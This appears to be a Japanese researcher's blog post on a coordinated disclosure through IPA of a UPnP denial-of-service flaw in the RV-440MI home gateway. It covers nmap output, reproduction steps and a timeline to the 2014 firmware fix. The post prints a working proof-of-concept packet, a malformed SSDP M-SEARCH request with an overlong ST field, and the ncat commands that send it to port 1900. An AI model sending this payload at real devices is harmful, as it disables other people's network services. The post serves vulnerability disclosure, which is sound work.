そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。

$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時)
Nmap scan report for 192.168.0.1
Host is up (0.00s latency).
PORT     STATE SERVICE
1900/udp open  upnp
| upnp-info:
| 192.168.0.1
|     Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|     Location: http://192.168.0.1:49152/gatedesc.xml
|       Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|       Name: RV-440MI
(snip)
|_      Model Version:
MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds

脆弱性の再現手順

IPA に報告した脆弱性関連情報（様式はこちら）から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました（こちら）。

  4) 再現手順
     (1) 8) の検証コードをテキストファイルに保存する。
         本手順では、「m-search_malformed.txt」とする。

     (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを
         対象製品に送信する。

         $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt
         または
         $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt
         （192.168.0.1 は対象製品の IP アドレス）

     (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の
         実行結果が closed となっていることが確認できます。

         $> nmap -sU -p 1900 -n 192.168.0.1

         実際には対象製品から ICMP Port Unreachable という応答が
         返ってきています。

     (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、
     および (3) のポートスキャンの結果をパケットキャプチャファイ
     ルに保存しました。
     添付ファイル：RV-440MI_malformed-msearch.pcap

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに

     4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら
     れない場合がありましたが、2,3 回送信することで再現すること
     を確認しています。

(snip)

  8) 検証コード
     この検証コードは、Rapid7 社「Security Flaws in Universal Plug
     and Play」p.17 に記載されているコードを基に作成しました。
     https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

--- ここから ----------------------------------------------------
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything
Man:"ssdp:discover"
MX:3

--- ここまで ----------------------------------------------------

取扱終了となった理由

2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました（下記参照）。
すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。

  III．本ガイドラインの適用の範囲
   本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に
   被害を及ぼすもので、以下に挙げるものを想定しています。

  IV．ソフトウエア製品に係る脆弱性関連情報取扱
   ３．IPA および JPCERT/CC の対応
    (1) IPA
      7) 脆弱性関連情報受理後の対応
      IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の
      いずれかに該当する場合、発見者に連絡するとともに、処理を取
      りやめることがあります

      (ウ) 製品開発者がすべての製品利用者に通知する場合（システム
           構築事業者を介して通知するケースを含む

報告から取扱終了までの時系列

年月日 事柄
2013/02/05 IPA に脆弱性情報を報告
2013/02/07 IPA から脆弱性情報を受理したとの連絡をいただく
2013/05/13 IPA から脆弱性情報に関する質問をいただく。同日、質問に回答
2014/07/07 ファームウェア Ver.06.01.0019 がリリース
2014/07/09 ファームウェア Ver.06.01.0019 で事象が再現しないことを確認
2014/07/10 IPA に対応状況を質問
2014/07/25 IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと
2014/09/11 IPA に検討状況を確認
2014/09/12 IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと
2014/10/14 IPA から取扱終了の連絡をいただく
2014/10/19 取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:MAC アドレスの下位 3 バイトを XX:XX:XX でマスクしました。